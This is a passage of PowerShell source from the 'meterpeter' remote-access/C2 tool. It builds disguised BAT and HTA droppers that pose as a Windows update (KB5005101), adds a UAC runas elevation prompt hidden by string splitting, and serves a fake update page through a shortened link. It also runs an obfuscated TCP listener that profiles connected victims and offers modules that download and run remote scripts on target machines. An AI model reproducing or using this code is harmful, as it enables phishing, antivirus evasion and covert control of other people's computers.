((Get-Content -Path $Bin$Dropper_Name.bat -Raw) -Replace "@echo off","@echo off`nsc query `"lanmanserver`"|find `"RUNNING`" >nul`nif %ERRORLEVEL% EQU 0 (`n Net session >nul 2>&1 || (PowerShell start -verb $MyRunes '%~0' &exit /b)`n)")|Set-Content -Path $Bin$Dropper_Name.bat
}
Compress-Archive -LiteralPath $Bin$Dropper_Name.bat -DestinationPath $APACHE$Dropper_Name.zip -Force
#Revert original BAT to default to be used again
Remove-Item -Path "$Bin$Dropper_Name.bat" -Force
Copy-Item -Path "${Bin}BACKUP.bat" -Destination "$Bin$Dropper_Name.bat"|Out-Null
Remove-Item -Path "${Bin}BACKUP.bat" -Force
}
write-Host "[i] Send the URL generated to target to trigger download.." -ForegroundColor DarkYellow;
Copy-Item -Path "${IPATH}\Mimiratz\theme\Catalog.png" -Destination "${APACHE}Catalog.png"|Out-Null
Copy-Item -Path "${IPATH}\Mimiratz\theme\favicon.png" -Destination "${APACHE}favicon.png"|Out-Null
Copy-Item -Path "${IPATH}\Mimiratz\theme\Update-KB5005101.html" -Destination "${APACHE}Update-KB5005101.html"|Out-Null
((Get-Content -Path "${APACHE}Update-KB5005101.html" -Raw) -Replace "henrythenavigator","$Dropper_Name")|Set-Content -Path "${APACHE}Update-KB5005101.html"
Write-Host "[i] Attack Vector: http://$Server_port/$Dropper_Name.html" -ForeGroundColor Black -BackGroundColor white
#tinyurl function
powershell -file "${IPATH}\Mimiratz\shorturl.ps1" -ServerPort "$Server_port" -PayloadName "${Dropper_Name}.html"
## Start python http.server (To Deliver Drop`per/Payload)
Start-Process powershell.exe "write-host `" [http.server] Close this Terminal After receving the connection back in meterpeter ..`" -ForeGroundColor red -BackGroundColor Black;cd $APACHE;$PInterpreter -m http.server $HTTP_PORT --bind $Local_Host";
}
else
{
## Attacker: Windows - without python3 installed
# Manualy Deliver Drop`per.ps1 To Target Machine
write-Host " WebServer Client Local Path" -ForegroundColor Green;
write-Host " --------- ------ ----------";
write-Host " NotInstalled Update-KB5005101.ps1 $IPATH";write-host "`n`n";
Write-Host "[i] Manualy Deliver '$payload_name.ps1' (Client) to Target" -ForeGroundColor Black -BackGroundColor white;
Write-Host "[*] Remark: Install Python3 (http.server) to Deliver payloads .." -ForeGroundColor yellow;
Write-Host "[*] Remark: Dropper Demonstration $payload_name.bat created .." -ForeGroundColor yellow;
## Function for @Daniel_Durnea
# That does not have Python3 (http.server) installed to build Drop`pers (download crandles)
# This Demostration Drop`per allow us to execute payload.ps1 in a hidden terminal windows ;)
$DemoDropper = @("#echo off
powershell (New-Object -ComObject Wscript.Shell).Popup(`"Executing $payload_name.ps1 payload`",4,`"$payload_name Security Update`",0+64)
powershell -WindowStyle hidden -File $payload_name.ps1
del `"%~f0`"")
echo $DemoDropper|Out-File "$payload_name.bat" -Encoding string -Force
((Get-Content -Path "$payload_name.bat" -Raw) -Replace "#","@")|Set-Content -Path "$payload_name.bat"
}
}
else
{
## Attacker: Linux - Apache2 webserver
# Deliver Dro`pper.zip using Apache2 webserver
write-Host " WebServer Client Dropper WebRoot" -ForegroundColor Green;
write-Host " --------- ------ ------- -------";
write-Host " Apache2 Update-KB5005101.ps1 Update-KB5005101.zip $APACHE";write-host "`n`n";
Copy-Item -Path $IPATH$payload_name.ps1 -Destination $APACHE$payload_name.ps1 -Force;
If($FlavorSellection -eq 2)
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - meterpeter payload HTA drop`per application
#>
cd $Bin
#delete old files left behind by previous executions
If(Test-Path -Path "$Dropper_Name.hta" -EA SilentlyContinue)
{
Remove-Item -Path "$Dropper_Name.hta" -Force
}
#Make sure HTA template exists before go any further
If(-not(Test-Path -Path "Update.hta" -EA SilentlyContinue))
{
Write-Host "ERROR: file '${Bin}Update.hta' not found ..." -ForeGroundColor Red -BackGroundColor Black
Write-Host "`n";exit #Exit @Meterpeter
}
#Replace the server ip addr + port on HTA template
((Get-Content -Path "Update.hta" -Raw) -Replace "CharlieBrown","$Server_port")|Set-Content -Path "Update.hta"
#Embebed meterpter icon on HTA application?
#iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/theme/meterpeter.ico" -OutFile "meterpeter.ico"|Out-Null
#Start-Process -WindowStyle hidden cmd.exe -ArgumentList "/R COPY /B meterpeter.ico+Update.hta $Dro`pper_Name.hta" -Wait
#Compress HTA application and port the ZIP archive to 'webroot' directory!
Compress-Archive -LiteralPath "$Dropper_Name.hta" -DestinationPath "${APACHE}${Dropper_Name}.zip" -Force
#Revert original HTA to default to be used again
((Get-Content -Path "Update.hta" -Raw) -Replace "$Server_port","CharlieBrown")|Set-Content -Path "Update.hta"
#Delete artifacts left behind
#Remove-Item -Path "meterpeter.ico" -EA SilentlyContinue -Force
Remove-Item -Path "$Dropper_Name.hta" -EA SilentlyContinue -Force
#return to meterpeter working directory (meterpeter)
cd $IPATH
}
Else
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - meterpeter payload BAT dro`pper script
#>
Copy-Item -Path "$Bin$Dropper_Name.bat" -Destination "${Bin}BACKUP.bat"|Out-Null
## (ZIP + add LHOST) to drop`per.bat before send it to apache 2 webroot ..
((Get-Content -Path $Bin$Dropper_Name.bat -Raw) -Replace "CharlieBrown","$Local_Host")|Set-Content -Path $Bin$Dropper_Name.bat;
$RunEXElevated = Read-Host "[i] Make dropper spawn UAC dialog to run elevated? (y|n)"
If($RunEXElevated -iMatch '^(y|yes)$')
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Execute Batch with administrator privileges?
.NOTES
This function add's a cmdline to the beggining of bat file that uses
'Net Session' API to check for admin privs before executing powershell
-ru`nas on current process spawning a UAC dialogbox of confirmation.
#>
$MyRunes = "r" + "una" + "s" -join ''
#TODO: run bat with admin privs ??? -> requires LanManServer (server) service active
((Get-Content -Path $Bin$Dropper_Name.bat -Raw) -Replace "@echo off","@echo off`nsc query `"lanmanserver`"|find `"RUNNING`" >nul`nif %ERRORLEVEL% EQU 0 (`n Net session >nul 2>&1 || (PowerShell start -verb $MyRunes '%~0' &exit /b)`n)")|Set-Content -Path $Bin$Dropper_Name.bat
}
Compress-Archive -LiteralPath $Bin$Dropper_Name.bat -DestinationPath $APACHE$Dropper_Name.zip -Force;
#Revert original BAT to default to be used again
Remove-Item -Path "$Bin$Dropper_Name.bat" -Force
Copy-Item -Path "${Bin}BACKUP.bat" -Destination "$Bin$Dropper_Name.bat"|Out-Null
Remove-Item -Path "${Bin}BACKUP.bat" -Force
}
#write onscreen
write-Host "[i] Send the URL generated to target to trigger download."
Copy-Item -Path "${IPATH}\Mimiratz\theme\Catalog.png" -Destination "${APACHE}Catalog.png"|Out-Null
Copy-Item -Path "${IPATH}\Mimiratz\theme\favicon.png" -Destination "${APACHE}favicon.png"|Out-Null
Copy-Item -Path "${IPATH}\Mimiratz\theme\Update-KB5005101.html" -Destination "${APACHE}Update-KB5005101.html"|Out-Null
((Get-Content -Path "${APACHE}Update-KB5005101.html" -Raw) -Replace "henrythenavigator","$Dropper_Name")|Set-Content -Path "${APACHE}Update-KB5005101.html"
Write-Host "[i] Attack Vector: http://$Local_Host/$Dropper_Name.html" -ForeGroundColor Black -BackGroundColor white;
#Shorten Url function
$Url = "http://$Local_Host/$Dropper_Name.html"
$tinyUrlApi = 'http://tinyurl.com/api-create.php'
$response = Invoke-WebRequest ("{0}?url={1}" -f $tinyUrlApi, $Url)
$response.Content|Out-File -FilePath "$Env:TMP\sHORTENmE.meterpeter" -Force
$GetShortenUrl = Get-Content -Path "$Env:TMP\sHORTENmE.meterpeter"
Write-Host "[i] Shorten Uri : $GetShortenUrl" -ForeGroundColor Black -BackGroundColor white
Remove-Item -Path "$Env:TMP\sHORTENmE.meterpeter" -Force
}
$check = $Null;
$python_port = $Null;
$Server_port = $Null;
$Python_version = $Null;
## End of venom function
If($RunEXElevated -iMatch '^(y|yes)$')
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Add UAC elevation to payload.ps1
.NOTES
This migth trigger av detection on payload (danger)
@Ahmed_Ben_Mhamed uses the payload.PS1 of meterpeter C2
to expl`oit targets over WAN networks, but UAC elevation
its only available by default in drop`pers. (untill now)
#>
$OLD = (Get-Content -Path "${IPATH}${payload_name}.ps1" -Raw)
echo "`$Bi0s = (`"#Ru`"+`"nA#s`" -Join '') -replace '#',''" > "${IPATH}${payload_name}.ps1"
echo "If(-not([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))" >> "${IPATH}${payload_name}.ps1"
echo "{" >> "${IPATH}${payload_name}.ps1"
echo " Start-Process -WindowStyle hidden powershell.exe `"-File`",('`"{0}`"' -f `$MyInvocation.MyCommand.Path) -Verb `$Bi0s" >> "${IPATH}${payload_name}.ps1"
echo " exit" >> "${IPATH}${payload_name}.ps1"
echo "}`n" >> "${IPATH}${payload_name}.ps1"
echo "$OLD" >> "${IPATH}${payload_name}.ps1"
}
$ola = 'Creat' + 'eInstance' -join ''
$Bytes = [System.Byte[]]::$ola([System.Byte],1024);
Write-Host "[*] Listening on LPort: $Local_Port tcp";
## $Socket - Obfuscat`ion
${/$.}=+$( ) ; ${).!} =${/$.} ;${#~} = ++ ${/$.} ; ${[/} =( ${/$.} =${/$.} + ${#~} ) ;${.-} = ( ${/$.} =${/$.}+ ${#~} ); ${.$)}= (${/$.} = ${/$.} +${#~} ) ;${/@} = (${/$.} =${/$.}+${#~} ) ;${)/}=(${/$.}=${/$.}+${#~} ) ; ${#-*} =( ${/$.}= ${/$.}+ ${#~});${;}= (${/$.} =${/$.}+ ${#~} ) ;${``[@} = (${/$.} = ${/$.}+${#~} ) ;${[}= "[" + "$( @{} ) "[${#-*}]+ "$(@{ })"[ "${#~}" + "${``[@}"]+"$( @{} ) "["${[/}" + "${).!}"]+ "$?"[${#~} ] + "]" ;${/$.} = "".("$(@{ }) "[ "${#~}${.$)}"]+"$(@{ })"["${#~}${)/}"]+"$( @{ } ) "[ ${).!} ] +"$( @{ }) "[${.$)}] +"$? "[${#~} ]+"$( @{}) "[${.-}] ) ; ${/$.}= "$( @{ } ) "["${#~}"+ "${.$)}"] + "$( @{}) "[ ${.$)} ] +"${/$.}"[ "${[/}" +"${#-*}"] ;&${/$.} (" ${/$.} (${[}${.-}${)/}+ ${[}${;}${.-}+ ${[}${#~}${#~}${#~}+${[}${``[@}${``[@} + ${[}${#~}${).!}${#-*}+ ${[}${#~}${).!}${#~}+${[}${#~}${#~}${)/}+${[}${.-}${[/}+ ${[}${)/}${#~} +${[}${.-}${[/}+${[}${#-*}${;} +${[}${#~}${).!}${#~} +${[}${#~}${#~}${``[@}+ ${[}${.$)}${/@}+${[}${#-*}${``[@}+ ${[}${``[@}${;}+ ${[}${#~}${).!}${)/} +${[}${#~}${).!}${#~} + ${[}${``[@}${``[@} +${[}${#~}${#~}${)/} +${[}${.-}${[/} +${[}${;}${.-}+${[}${#~}${[/}${#~} +${[}${#~}${#~}${/@}+${[}${#~}${#~}${)/} +${[}${#~}${).!}${#~}+ ${[}${#~}${).!}${``[@} + ${[}${.$)}${)/} + ${[}${#-*}${;} + ${[}${#~}${).!}${#~}+ ${[}${#~}${#~}${)/} + ${[}${.$)}${)/}+ ${[}${;}${.-} + ${[}${#~}${#~}${#~}+${[}${``[@}${``[@}+${[}${#~}${).!}${#-*}+ ${[}${#~}${).!}${#~} + ${[}${#~}${#~}${)/} +${[}${#~}${#~}${/@} +${[}${.$)}${)/} + ${[}${;}${.$)} +${[}${``[@}${``[@} + ${[}${#~}${#~}${[/}+ ${[}${#-*}${)/}+ ${[}${#~}${).!}${/@}+${[}${#~}${#~}${/@} + ${[}${#~}${#~}${)/}+${[}${#~}${).!}${#~} +${[}${#~}${#~}${).!} + ${[}${#~}${).!}${#~} +${[}${#~}${#~}${.$)} + ${[}${.$)}${).!}+${[}${.-}${``[@} +${[}${.$)}${;}+${[}${.$)}${)/} +${[}${.$)}${;} +${[}${.$)}${)/} + ${[}${.$)}${;} + ${[}${.$)}${)/}+ ${[}${.$)}${;} + ${[}${.-}${``[@} +${[}${.$)}${.$)} + ${[}${.-}${)/}+ ${[}${#-*}${)/}+${[}${#~}${#~}${#~}+ ${[}${``[@}${``[@}+${[}${``[@}${#-*} +${[}${#~}${).!}${;}+ ${[}${``[@}${/@} +${[}${;}${).!} +${[}${#~}${#~}${#~} +${[}${#~}${#~}${.$)}+${[}${#~}${#~}${)/} + ${[}${.$)}${#~} +${[}${/@}${``[@} )")
$Socket.Start();
$Client = $Socket.AcceptTcpClient();
$Remote_Host = $Client.Client.RemoteEndPoint.Address.IPAddressToString
Write-Host "[-] Beacon received: " -ForegroundColor Green -NoNewline
Write-Host "$Remote_Host" -ForegroundColor Red
## Connection Banner
$ConnectionBanner = @"
_____________ _____________
|.-----------.| |.-----------.|
|| || || ||
|| Local || <==> || Remote ||
||___________|| ||___________||
__'---------'__ __'---------'__
[:::: ::::::::::] [:::::::::: ::::]
"@;
write-host $ConnectionBanner
write-host " $Local_Host" -ForegroundColor Green -NoNewline
write-host " $Remote_Host`n" -ForegroundColor Red
#Play sound on session creation
$PlayWav = New-Object System.Media.SoundPlayer
$PlayWav.SoundLocation = "${IPATH}\Mimiratz\theme\ConnectionAlert.wav"
$PlayWav.playsync();
$Stream = $Client.GetStream();
$WaitData = $False;
$Info = $Null;
$RhostWorkingDir = Char_Obf("(Get-location).Path");
$Processor = Char_Obf("(Get-WmiObject Win32_processor).Caption");
$Name = Char_Obf("(Get-WmiObject Win32_OperatingSystem).CSName");
$System = Char_Obf("(Get-WmiObject Win32_OperatingSystem).Caption");
$Version = Char_Obf("(Get-WmiObject Win32_OperatingSystem).Version");
$serial = Char_Obf("(Get-WmiObject Win32_OperatingSystem).SerialNumber");
$syst_dir = Char_Obf("(Get-WmiObject Win32_OperatingSystem).SystemDirectory");
$Architecture = Char_Obf("(Get-WmiObject Win32_OperatingSystem).OSArchitecture");
$WindowsDirectory = Char_Obf("(Get-WmiObject Win32_OperatingSystem).WindowsDirectory");
$RegisteredUser = Char_Obf("(Get-CimInstance -ClassName Win32_OperatingSystem).RegisteredUser");
$BootUpTime = Char_Obf("(Get-CimInstance -ClassName Win32_OperatingSystem).LastBootUpTime.ToString()");
#Sysinfo command at first time run (connection)
$Command = "cd `$Env:TMP;`" DomainName : `"+$Name+`"``n Architecture : `"+$Architecture+`"``n RemoteHost : `"+`"$Remote_Host`"+`"``n BootUpTime : `"+$BootUpTime+`"``n RegisteredUser : `"+$RegisteredUser+`"``n OP System : `"+$System+`"``n OP Version : `"+$Version+`"``n SystemDir : `"+$syst_dir+`"``n WorkingDir : `"+$RhostWorkingDir+`"``n ProcessorCPU : `"+$Processor;If(Get-Process wscript -EA SilentlyContinue){Stop-Process -Name wscript -Force}";
While($Client.Connected)
{
If(-not ($WaitData))
{
If(-not ($Command))
{
$Flipflop = "False";
Write-Host "`n - press 'Enter' to continue .." -NoNewline;
$continue = Read-Host;
Clear-Host;
Write-Host $Modules;
Write-Host "`n :meterpeter> " -NoNewline -ForeGroundColor Green;
$Command = Read-Host;
}
If($Command -ieq "Modules")
{
Clear-Host;
Write-Host "`n$Modules";
$Command = $Null;
}
If($Command -ieq "Info")
{
Write-Host "`n`n$Info";
$Command = $Null;
}
If($Command -ieq "Session")
{
## Check if client (target machine) is still connected ..
$ParseID = "$Local_Host"+":"+"$Local_Port" -Join ''
$SessionID = netstat -ano | Select-String "$ParseID" | Select-Object -First 1
$AllSettings = Get-NetAdapter | Select-Object * | Where-Object { $_.Status -iMatch '^(Up)$' }
$Netdesc = ($AllSettings).InterfaceDescription
$NetSped = ($AllSettings).LinkSpeed
$NetAdpt = ($AllSettings).Name
write-host "`n`n Connection : " -NoNewline;
write-host "$NetAdpt" -ForegroundColor DarkGray -NoNewline;
write-host " LinkSpeed: " -NoNewline;
write-host "$NetSped" -ForegroundColor DarkGray
write-host " Description: " -NoNewline
write-host "$Netdesc" -ForegroundColor Red
Write-Host "`n Proto Local Address Foreign Address State PID" -ForeGroundColor green;
Write-Host " ----- ------------- --------------- ----- ---";
## Display connections statistics
If(-not($SessionID) -or $SessionID -eq " ")
{
Write-Host " None Connections found (Client Disconnected)" -ForeGroundColor Red
} Else {
Write-Host " $SessionID"
}
write-host ""
$Command = $Null;
}
If($Command -ieq "Pranks")
{
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " Remote pranks manager";
write-host "`n`n Modules Description" -ForegroundColor green;
write-host " ------- -----------";
write-host " Msgbox Spawn remote msgbox manager";
write-host " Speak Make remote host speak one frase";
write-host " OpenUrl Open\spawn URL in default browser";
write-host " GoogleX Browser google easter eggs manager";
write-host " WindowsUpdate Fake windows update full screen prank";
write-host " CriticalError Prank that fakes a critical system error";
write-host " BallonTip Show a ballon tip in the notification bar";
write-host " Nodrives Hide All Drives (C:D:E:F:G) From Explorer";
write-host " LabelDrive Rename drive letter (C:) label From Explorer";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow
write-host "`n`n :meterpeter:Pranks> " -NoNewline -ForeGroundColor Green;
$choise = Read-Host;
If($choise -ieq "BallonTip")
{
write-host "`n`n Description:" -ForegroundColor Yellow
write-host " This module spawn a ballontip in the notification bar"
write-host " Parameter IconType accepts values: Info,Warning,Error"
write-host " Parameter CloseTime accepts milliseconds (example: 10000)"
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green
write-host " ------- ----------- -------------------"
write-host " Spawn ballontip in notification bar UserLand"
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow
write-host "`n`n :meterpeter:Pranks:BallonTip> " -NoNewline -ForeGroundColor Green
$Prank_choise = Read-Host;
If($Prank_choise -ieq "Spawn")
{
write-host " - BallonTip Title : " -NoNewline
$Title = Read-Host
If([string]::IsNullOrEmpty($Title))
{
$Title = "Attention `$Env:USERNAME"
write-host " => Error: wrong input, default to: '$Title'" -ForegroundColor Red
}
write-host " - BallonTip Text : " -NoNewline
$Text = Read-Host
If([string]::IsNullOrEmpty($Text))
{
$Text = "A vir`us has detected in `$Env:COMPUTERNAME"
write-host " => Error: wrong input, default to: '$Text'" -ForegroundColor Red
}
write-host " - BallonTip IconType : " -NoNewline
$IconType = Read-Host
If([string]::IsNullOrEmpty($IconType))
{
$IconType = "Warning"
write-host " => Error: wrong input, default to: '$IconType'" -ForegroundColor Red
}
write-host " - BallonTip CloseTime : " -ForegroundColor DarkYellow -NoNewline
$CloseTime = Read-Host
If([string]::IsNullOrEmpty($CloseTime))
{
$CloseTime = "10000"
write-host " => Error: wrong input, default to: '$CloseTime'" -ForegroundColor Red
}
write-host " * Spawn a ballontip in the notification bar .." -ForegroundColor Green;Start-Sleep -Seconds 1
$Command = "cd `$Env:TMP;iwr -Uri 'https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/Misc-CmdLets/Show-BalloonTip.ps1' -OutFile 'Show-BalloonTip.ps1'|Unblock-File;powershell -file `$Env:TMP\Show-BalloonTip.ps1 -title `"$Title`" -text `"$Text`" -icontype `"$IconType`" -autoclose `"$CloseTime`";Remove-Item -Path `$Env:TMP\Show-BalloonTip.ps1 -Force"
}
If($Prank_choise -ieq "Return" -or $Prank_choise -ieq "cls" -or $Prank_choise -ieq "modules" -or $Prank_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$Prank_choise = $Null;
}
}
If($choise -ieq "WindowsUpdate" -or $choise -ieq "WU")
{
write-host "`n`n Description:" -ForegroundColor Yellow
write-host " This module opens the target default web browser in fakeupdate.net"
write-host " in full screen mode. Faking that one windows update its occuring."
write-host " Remark: Target requires to press F11 to exit full screen prank." -ForegroundColor Yellow
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- -------------------";
write-host " Start execute prank in background UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow
write-host "`n`n :meterpeter:Pranks:WU> " -NoNewline -ForeGroundColor Green;
$Prank_choise = Read-Host;
If($Prank_choise -ieq "Start")
{
write-host " * Faking windows system update ..`n" -ForegroundColor Green;Start-Sleep -Seconds 1
$Command = "powershell cd `$Env:TMP;iwr -Uri 'https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/FWUprank.ps1' -OutFile 'FWUprank.ps1'|Unblock-File;Start-Process -WindowStyle hidden powershell -ArgumentList '-file FWUprank.ps1 -autodelete on';echo ' `> Windows system update prank running in background!' `> trash.mtp;echo ' `> URI: https://fakeupdate.net/[SystemOS]/~{F11}' `>`> trash.mtp;Get-Content trash.mtp;Remove-Item trash.mtp -Force"
}
If($Prank_choise -ieq "Return" -or $Prank_choise -ieq "cls" -or $Prank_choise -ieq "modules" -or $Prank_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$Prank_choise = $Null;
}
}
If($choise -ieq "LabelDrive" -or $choise -ieq "Label")
{
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " Module to rename drive label";
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- -------------------";
write-host " List ALL drives available UserLand"
write-host " Rename Rename drive letter label " -NoNewline;
write-host "Administrator" -ForegroundColor Red;
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Pranks:Label> " -NoNewline -ForeGroundColor Green;
$choise_two = Read-Host;
If($choise_two -ieq "List")
{
write-host " * Listing all drives available .." -ForegroundColor Green;Start-Sleep -Seconds 1;write-host "`n";
$Command = "`$PSVERSION = (`$Host).version.Major;If(`$PSVERSION -gt 5){Get-PSDrive -PSProvider 'FileSystem'|Select-Object Root,CurrentLocation,Used,Free|ft|Out-File dellog.txt}Else{Get-Volume|Select-Object DriveLetter,FileSystemLabel,FileSystemType,DriveType,HealthStatus,SizeRemaining,Size|FT|Out-File dellog.txt};Get-Content dellog.txt;Remove-Item dellog.txt -Force";
}
If($choise_two -ieq "Rename")
{
$MyDrive = Read-Host " - DriveLetter to change the label (C)"
$MyDName = Read-Host " - Drive new Friendly Name (Armagedon)"
write-host " * Rename Drive ${MyDrive}: label to [" -ForegroundColor Green -NoNewline
write-host "$MyDName" -ForegroundColor Red -NoNewline;
write-host "]" -ForegroundColor Green;
Start-Sleep -Seconds 1;write-host "`n";
$Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){If(-not(Test-Path -Path `"${MyDrive}:`")){echo `" [${MyDrive}:] Drive letter not found ..``n`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force}Set-Volume -DriveLetter $MyDrive -NewFileSystemLabel `"$MyDName`";Start-Sleep -Seconds 1;Get-Volume -DriveLetter $MyDrive|Select-Object DriveLetter,FileSystemLabel,FileSystemType,HealthStatus,SizeRemaining,Size|FT}Else{echo `" [i] Client Admin Privileges Required (run as administrator)``n`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force}";
}
If($choise_two -ieq "Return" -or $choise_two -ieq "cls" -or $choise_two -ieq "Modules" -or $choise_two -ieq "clear")
{
$Command = $Null;
$choise_two = $Null;
}
}
If($choise -ieq "Nodrives")
{
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " Module to enable\disable the display of drivers";
write-host " under Explorer (modify Explorer HKCU policy key)";
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- -------------------";
write-host " Disable Hide Drives from explorer " -NoNewline;
write-host "Administrator" -ForegroundColor Red;
write-host " Enable Show Drives in Explorer " -NoNewline;
write-host "Administrator" -ForegroundColor Red;